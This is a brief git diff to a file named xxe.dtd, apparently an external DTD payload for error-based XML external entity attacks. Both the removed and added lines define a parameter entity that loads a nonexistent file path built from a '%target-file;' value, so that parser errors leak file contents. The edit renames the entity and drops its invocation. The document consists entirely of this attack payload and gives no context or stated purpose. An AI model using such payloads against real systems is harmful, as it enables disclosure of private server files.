diff --git a/xxe.dtd b/xxe.dtd
index 21a2572..4785353 100644
--- a/xxe.dtd
+++ b/xxe.dtd
@@ -1,2 +1 @@
-<!ENTITY % secondstage "<!ENTITY disclose SYSTEM 'file:///nonexistent/%target-file;'>">
-%secondstage;
\ No newline at end of file
+<!ENTITY % trigger-error "<!ENTITY disclose SYSTEM 'file:///nonexistent/%target-file;'>">